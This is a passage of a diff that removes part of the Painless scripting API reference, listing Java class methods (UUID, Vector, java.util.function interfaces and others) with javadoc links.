-* def {java11-javadoc}/java.base/java/util/NavigableSet.html#pollLast()[pollLast]()
-* boolean {java11-javadoc}/java.base/java/util/Set.html#remove(java.lang.Object)[remove](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeAll(java.util.Collection)[removeAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeIf(java.util.function.Predicate)[removeIf](Predicate)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#retainAll(java.util.Collection)[retainAll](Collection)
-* int {java11-javadoc}/java.base/java/util/Collection.html#size()[size]()
-* List split(Predicate)
-* Spliterator {java11-javadoc}/java.base/java/util/Collection.html#spliterator()[spliterator]()
-* Stream {java11-javadoc}/java.base/java/util/Collection.html#stream()[stream]()
-* SortedSet {java11-javadoc}/java.base/java/util/SortedSet.html#subSet(java.lang.Object,java.lang.Object)[subSet](def, def)
-* NavigableSet {java11-javadoc}/java.base/java/util/NavigableSet.html#subSet(java.lang.Object,boolean,java.lang.Object,boolean)[subSet](def, boolean, def, boolean)
-* double sum()
-* double sum(ToDoubleFunction)
-* SortedSet {java11-javadoc}/java.base/java/util/SortedSet.html#tailSet(java.lang.Object)[tailSet](def)
-* NavigableSet {java11-javadoc}/java.base/java/util/NavigableSet.html#tailSet(java.lang.Object,boolean)[tailSet](def, boolean)
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray()[toArray]()
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray(java.lang.Object%5B%5D)[toArray](def[])
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-UUID]]
-==== UUID
-* static UUID {java11-javadoc}/java.base/java/util/UUID.html#fromString(java.lang.String)[fromString](null)
-* static UUID {java11-javadoc}/java.base/java/util/UUID.html#nameUUIDFromBytes(byte%5B%5D)[nameUUIDFromBytes](byte[])
-* static UUID {java11-javadoc}/java.base/java/util/UUID.html#randomUUID()[randomUUID]()
-* {java11-javadoc}/java.base/java/util/UUID.html#<init>(long,long)[UUID](long, long)
-* int {java11-javadoc}/java.base/java/util/UUID.html#clockSequence()[clockSequence]()
-* int {java11-javadoc}/java.base/java/util/UUID.html#compareTo(java.util.UUID)[compareTo](UUID)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* long {java11-javadoc}/java.base/java/util/UUID.html#getLeastSignificantBits()[getLeastSignificantBits]()
-* long {java11-javadoc}/java.base/java/util/UUID.html#getMostSignificantBits()[getMostSignificantBits]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* long {java11-javadoc}/java.base/java/util/UUID.html#node()[node]()
-* long {java11-javadoc}/java.base/java/util/UUID.html#timestamp()[timestamp]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* int {java11-javadoc}/java.base/java/util/UUID.html#variant()[variant]()
-* int {java11-javadoc}/java.base/java/util/UUID.html#version()[version]()
-
-
-[[painless-api-reference-shared-UnknownFormatConversionException]]
-==== UnknownFormatConversionException
-* {java11-javadoc}/java.base/java/util/UnknownFormatConversionException.html#<init>(java.lang.String)[UnknownFormatConversionException](null)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/util/UnknownFormatConversionException.html#getConversion()[getConversion]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-UnknownFormatFlagsException]]
-==== UnknownFormatFlagsException
-* {java11-javadoc}/java.base/java/util/UnknownFormatFlagsException.html#<init>(java.lang.String)[UnknownFormatFlagsException](null)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/util/UnknownFormatFlagsException.html#getFlags()[getFlags]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Vector]]
-==== Vector
-* {java11-javadoc}/java.base/java/util/Vector.html#<init>()[Vector]()
-* {java11-javadoc}/java.base/java/util/Vector.html#<init>(java.util.Collection)[Vector](Collection)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#add(java.lang.Object)[add](def)
-* void {java11-javadoc}/java.base/java/util/List.html#add(int,java.lang.Object)[add](int, def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#addAll(java.util.Collection)[addAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/List.html#addAll(int,java.util.Collection)[addAll](int, Collection)
-* void {java11-javadoc}/java.base/java/util/Vector.html#addElement(java.lang.Object)[addElement](def)
-* boolean any(Predicate)
-* Collection asCollection()
-* List asList()
-* void {java11-javadoc}/java.base/java/util/Collection.html#clear()[clear]()
-* def {java11-javadoc}/java.base/java/util/Vector.html#clone()[clone]()
-* List collect(Function)
-* def collect(Collection, Function)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#contains(java.lang.Object)[contains](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#containsAll(java.util.Collection)[containsAll](Collection)
-* void {java11-javadoc}/java.base/java/util/Vector.html#copyInto(java.lang.Object%5B%5D)[copyInto](Object[])
-* def each(Consumer)
-* def eachWithIndex(ObjIntConsumer)
-* def {java11-javadoc}/java.base/java/util/Vector.html#elementAt(int)[elementAt](int)
-* Enumeration {java11-javadoc}/java.base/java/util/Vector.html#elements()[elements]()
-* boolean {java11-javadoc}/java.base/java/util/List.html#equals(java.lang.Object)[equals](Object)
-* boolean every(Predicate)
-* def find(Predicate)
-* List findAll(Predicate)
-* def findResult(Function)
-* def findResult(def, Function)
-* List findResults(Function)
-* def {java11-javadoc}/java.base/java/util/Vector.html#firstElement()[firstElement]()
-* void {java11-javadoc}/java.base/java/lang/Iterable.html#forEach(java.util.function.Consumer)[forEach](Consumer)
-* def {java11-javadoc}/java.base/java/util/List.html#get(int)[get](int)
-* Object getByPath(null)
-* Object getByPath(null, Object)
-* int getLength()
-* Map groupBy(Function)
-* int {java11-javadoc}/java.base/java/util/List.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/util/List.html#indexOf(java.lang.Object)[indexOf](def)
-* void {java11-javadoc}/java.base/java/util/Vector.html#insertElementAt(java.lang.Object,int)[insertElementAt](def, int)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#isEmpty()[isEmpty]()
-* Iterator {java11-javadoc}/java.base/java/lang/Iterable.html#iterator()[iterator]()
-* null join(null)
-* def {java11-javadoc}/java.base/java/util/Vector.html#lastElement()[lastElement]()
-* int {java11-javadoc}/java.base/java/util/List.html#lastIndexOf(java.lang.Object)[lastIndexOf](def)
-* int {java11-javadoc}/java.base/java/util/Vector.html#lastIndexOf(java.lang.Object,int)[lastIndexOf](def, int)
-* ListIterator {java11-javadoc}/java.base/java/util/List.html#listIterator()[listIterator]()
-* ListIterator {java11-javadoc}/java.base/java/util/List.html#listIterator(int)[listIterator](int)
-* def {java11-javadoc}/java.base/java/util/List.html#remove(int)[remove](int)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeAll(java.util.Collection)[removeAll](Collection)
-* void {java11-javadoc}/java.base/java/util/Vector.html#removeAllElements()[removeAllElements]()
-* boolean {java11-javadoc}/java.base/java/util/Vector.html#removeElement(java.lang.Object)[removeElement](def)
-* void {java11-javadoc}/java.base/java/util/Vector.html#removeElementAt(int)[removeElementAt](int)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeIf(java.util.function.Predicate)[removeIf](Predicate)
-* void {java11-javadoc}/java.base/java/util/List.html#replaceAll(java.util.function.UnaryOperator)[replaceAll](UnaryOperator)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#retainAll(java.util.Collection)[retainAll](Collection)
-* def {java11-javadoc}/java.base/java/util/List.html#set(int,java.lang.Object)[set](int, def)
-* void {java11-javadoc}/java.base/java/util/Vector.html#setElementAt(java.lang.Object,int)[setElementAt](def, int)
-* int {java11-javadoc}/java.base/java/util/Collection.html#size()[size]()
-* void {java11-javadoc}/java.base/java/util/List.html#sort(java.util.Comparator)[sort](Comparator)
-* List split(Predicate)
-* Spliterator {java11-javadoc}/java.base/java/util/Collection.html#spliterator()[spliterator]()
-* Stream {java11-javadoc}/java.base/java/util/Collection.html#stream()[stream]()
-* List {java11-javadoc}/java.base/java/util/List.html#subList(int,int)[subList](int, int)
-* double sum()
-* double sum(ToDoubleFunction)
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray()[toArray]()
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray(java.lang.Object%5B%5D)[toArray](def[])
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[role="exclude",id="painless-api-reference-shared-java-util-function"]
-=== Shared API for package java.util.function
-See the <<painless-api-reference-shared, Shared API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-shared-BiConsumer]]
-==== BiConsumer
-* void {java11-javadoc}/java.base/java/util/function/BiConsumer.html#accept(java.lang.Object,java.lang.Object)[accept](def, def)
-* BiConsumer {java11-javadoc}/java.base/java/util/function/BiConsumer.html#andThen(java.util.function.BiConsumer)[andThen](BiConsumer)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-BiFunction]]
-==== BiFunction
-* BiFunction {java11-javadoc}/java.base/java/util/function/BiFunction.html#andThen(java.util.function.Function)[andThen](Function)
-* def {java11-javadoc}/java.base/java/util/function/BiFunction.html#apply(java.lang.Object,java.lang.Object)[apply](def, def)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-BiPredicate]]
-==== BiPredicate
-* BiPredicate {java11-javadoc}/java.base/java/util/function/BiPredicate.html#and(java.util.function.BiPredicate)[and](BiPredicate)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* BiPredicate {java11-javadoc}/java.base/java/util/function/BiPredicate.html#negate()[negate]()
-* BiPredicate {java11-javadoc}/java.base/java/util/function/BiPredicate.html#or(java.util.function.BiPredicate)[or](BiPredicate)
-* boolean {java11-javadoc}/java.base/java/util/function/BiPredicate.html#test(java.lang.Object,java.lang.Object)[test](def, def)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-BinaryOperator]]
-==== BinaryOperator
-* static BinaryOperator {java11-javadoc}/java.base/java/util/function/BinaryOperator.html#maxBy(java.util.Comparator)[maxBy](Comparator)
-* static BinaryOperator {java11-javadoc}/java.base/java/util/function/BinaryOperator.html#minBy(java.util.Comparator)[minBy](Comparator)
-* BiFunction {java11-javadoc}/java.base/java/util/function/BiFunction.html#andThen(java.util.function.Function)[andThen](Function)
-* def {java11-javadoc}/java.base/java/util/function/BiFunction.html#apply(java.lang.Object,java.lang.Object)[apply](def, def)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-BooleanSupplier]]
-==== BooleanSupplier
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* boolean {java11-javadoc}/java.base/java/util/function/BooleanSupplier.html#getAsBoolean()[getAsBoolean]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Consumer]]
-==== Consumer
-* void {java11-javadoc}/java.base/java/util/function/Consumer.html#accept(java.lang.Object)[accept](def)
-* Consumer {java11-javadoc}/java.base/java/util/function/Consumer.html#andThen(java.util.function.Consumer)[andThen](Consumer)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-DoubleBinaryOperator]]
-==== DoubleBinaryOperator
-* double {java11-javadoc}/java.base/java/util/function/DoubleBinaryOperator.html#applyAsDouble(double,double)[applyAsDouble](double, double)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-DoubleConsumer]]
-==== DoubleConsumer
-* void {java11-javadoc}/java.base/java/util/function/DoubleConsumer.html#accept(double)[accept](double)
-* DoubleConsumer {java11-javadoc}/java.base/java/util/function/DoubleConsumer.html#andThen(java.util.function.DoubleConsumer)[andThen](DoubleConsumer)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-DoubleFunction]]
-==== DoubleFunction
-* def {java11-javadoc}/java.base/java/util/function/DoubleFunction.html#apply(double)[apply](double)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-DoublePredicate]]
-==== DoublePredicate
-* DoublePredicate {java11-javadoc}/java.base/java/util/function/DoublePredicate.html#and(java.util.function.DoublePredicate)[and](DoublePredicate)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* DoublePredicate {java11-javadoc}/java.base/java/util/function/DoublePredicate.html#negate()[negate]()
-* DoublePredicate {java11-javadoc}/java.base/java/util/function/DoublePredicate.html#or(java.util.function.DoublePredicate)[or](DoublePredicate)
-* boolean {java11-javadoc}/java.base/java/util/function/DoublePredicate.html#test(double)[test](double)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-DoubleSupplier]]
-==== DoubleSupplier
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* double {java11-javadoc}/java.base/java/util/function/DoubleSupplier.html#getAsDouble()[getAsDouble]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-DoubleToIntFunction]]
-==== DoubleToIntFunction
-* int {java11-javadoc}/java.base/java/util/function/DoubleToIntFunction.html#applyAsInt(double)[applyAsInt](double)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-DoubleToLongFunction]]
-==== DoubleToLongFunction
-* long {java11-javadoc}/java.base/java/util/function/DoubleToLongFunction.html#applyAsLong(double)[applyAsLong](double)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-DoubleUnaryOperator]]
-==== DoubleUnaryOperator
-* static DoubleUnaryOperator {java11-javadoc}/java.base/java/util/function/DoubleUnaryOperator.html#identity()[identity]()
-* DoubleUnaryOperator {java11-javadoc}/java.base/java/util/function/DoubleUnaryOperator.html#andThen(java.util.function.DoubleUnaryOperator)[andThen](DoubleUnaryOperator)
-* double {java11-javadoc}/java.base/java/util/function/DoubleUnaryOperator.html#applyAsDouble(double)[applyAsDouble](double)
-* DoubleUnaryOperator {java11-javadoc}/java.base/java/util/function/DoubleUnaryOperator.html#compose(java.util.function.DoubleUnaryOperator)[compose](DoubleUnaryOperator)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Function]]
-==== Function
-* static Function {java11-javadoc}/java.base/java/util/function/Function.html#identity()[identity]()
-* Function {java11-javadoc}/java.base/java/util/function/Function.html#andThen(java.util.function.Function)[andThen](Function)
-* def {java11-javadoc}/java.base/java/util/function/Function.html#apply(java.lang.Object)[apply](def)
-* Function {java11-javadoc}/java.base/java/util/function/Function.html#compose(java.util.function.Function)[compose](Function)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-IntBinaryOperator]]
-==== IntBinaryOperator
-* int {java11-javadoc}/java.base/java/util/function/IntBinaryOperator.html#applyAsInt(int,int)[applyAsInt](int, int)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-IntConsumer]]
-==== IntConsumer
-* void {java11-javadoc}/java.base/java/util/function/IntConsumer.html#accept(int)[accept](int)
-* IntConsumer {java11-javadoc}/java.base/java/util/function/IntConsumer.html#andThen(java.util.function.IntConsumer)[andThen](IntConsumer)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-IntFunction]]
-==== IntFunction
-* def {java11-javadoc}/java.base/java/util/function/IntFunction.html#apply(int)[apply](int)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-IntPredicate]]
-==== IntPredicate
-* IntPredicate {java11-javadoc}/java.base/java/util/function/IntPredicate.html#and(java.util.function.IntPredicate)[and](IntPredicate)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* IntPredicate {java11-javadoc}/java.base/java/util/function/IntPredicate.html#negate()[negate]()
-* IntPredicate {java11-javadoc}/java.base/java/util/function/IntPredicate.html#or(java.util.function.IntPredicate)[or](IntPredicate)
-* boolean {java11-javadoc}/java.base/java/util/function/IntPredicate.html#test(int)[test](int)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-IntSupplier]]
-==== IntSupplier
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/util/function/IntSupplier.html#getAsInt()[getAsInt]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-IntToDoubleFunction]]
-==== IntToDoubleFunction
-* double {java11-javadoc}/java.base/java/util/function/IntToDoubleFunction.html#applyAsDouble(int)[applyAsDouble](int)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-IntToLongFunction]]
-==== IntToLongFunction
-* long {java11-javadoc}/java.base/java/util/function/IntToLongFunction.html#applyAsLong(int)[applyAsLong](int)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-IntUnaryOperator]]
-==== IntUnaryOperator
-* static IntUnaryOperator {java11-javadoc}/java.base/java/util/function/IntUnaryOperator.html#identity()[identity]()
-* IntUnaryOperator {java11-javadoc}/java.base/java/util/function/IntUnaryOperator.html#andThen(java.util.function.IntUnaryOperator)[andThen](IntUnaryOperator)
-* int {java11-javadoc}/java.base/java/util/function/IntUnaryOperator.html#applyAsInt(int)[applyAsInt](int)
-* IntUnaryOperator {java11-javadoc}/java.base/java/util/function/IntUnaryOperator.html#compose(java.util.function.IntUnaryOperator)[compose](IntUnaryOperator)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-LongBinaryOperator]]
-==== LongBinaryOperator
-* long {java11-javadoc}/java.base/java/util/function/LongBinaryOperator.html#applyAsLong(long,long)[applyAsLong](long, long)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-LongConsumer]]
-==== LongConsumer
-* void {java11-javadoc}/java.base/java/util/function/LongConsumer.html#accept(long)[accept](long)
-* LongConsumer {java11-javadoc}/java.base/java/util/function/LongConsumer.html#andThen(java.util.function.LongConsumer)[andThen](LongConsumer)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-LongFunction]]
-==== LongFunction
-* def {java11-javadoc}/java.base/java/util/function/LongFunction.html#apply(long)[apply](long)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-LongPredicate]]
-==== LongPredicate
-* LongPredicate {java11-javadoc}/java.base/java/util/function/LongPredicate.html#and(java.util.function.LongPredicate)[and](LongPredicate)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* LongPredicate {java11-javadoc}/java.base/java/util/function/LongPredicate.html#negate()[negate]()
-* LongPredicate {java11-javadoc}/java.base/java/util/function/LongPredicate.html#or(java.util.function.LongPredicate)[or](LongPredicate)
-* boolean {java11-javadoc}/java.base/java/util/function/LongPredicate.html#test(long)[test](long)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-LongSupplier]]
-==== LongSupplier
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* long {java11-javadoc}/java.base/java/util/function/LongSupplier.html#getAsLong()[getAsLong]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-LongToDoubleFunction]]
-==== LongToDoubleFunction
-* double {java11-javadoc}/java.base/java/util/function/LongToDoubleFunction.html#applyAsDouble(long)[applyAsDouble](long)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-LongToIntFunction]]
-==== LongToIntFunction
-* int {java11-javadoc}/java.base/java/util/function/LongToIntFunction.html#applyAsInt(long)[applyAsInt](long)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-LongUnaryOperator]]
-==== LongUnaryOperator
-* static LongUnaryOperator {java11-javadoc}/java.base/java/util/function/LongUnaryOperator.html#identity()[identity]()
-* LongUnaryOperator {java11-javadoc}/java.base/java/util/function/LongUnaryOperator.html#andThen(java.util.function.LongUnaryOperator)[andThen](LongUnaryOperator)
-* long {java11-javadoc}/java.base/java/util/function/LongUnaryOperator.html#applyAsLong(long)[applyAsLong](long)
-* LongUnaryOperator {java11-javadoc}/java.base/java/util/function/LongUnaryOperator.html#compose(java.util.function.LongUnaryOperator)[compose](LongUnaryOperator)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ObjDoubleConsumer]]
-==== ObjDoubleConsumer
-* void {java11-javadoc}/java.base/java/util/function/ObjDoubleConsumer.html#accept(java.lang.Object,double)[accept](def, double)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ObjIntConsumer]]
-==== ObjIntConsumer
-* void {java11-javadoc}/java.base/java/util/function/ObjIntConsumer.html#accept(java.lang.Object,int)[accept](def, int)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ObjLongConsumer]]
-==== ObjLongConsumer
-* void {java11-javadoc}/java.base/java/util/function/ObjLongConsumer.html#accept(java.lang.Object,long)[accept](def, long)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Predicate]]
-==== Predicate
-* static Predicate {java11-javadoc}/java.base/java/util/function/Predicate.html#isEqual(java.lang.Object)[isEqual](def)
-* Predicate {java11-javadoc}/java.base/java/util/function/Predicate.html#and(java.util.function.Predicate)[and](Predicate)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* Predicate {java11-javadoc}/java.base/java/util/function/Predicate.html#negate()[negate]()
-* Predicate {java11-javadoc}/java.base/java/util/function/Predicate.html#or(java.util.function.Predicate)[or](Predicate)
-* boolean {java11-javadoc}/java.base/java/util/function/Predicate.html#test(java.lang.Object)[test](def)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Supplier]]
-==== Supplier
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* def {java11-javadoc}/java.base/java/util/function/Supplier.html#get()[get]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ToDoubleBiFunction]]
-==== ToDoubleBiFunction
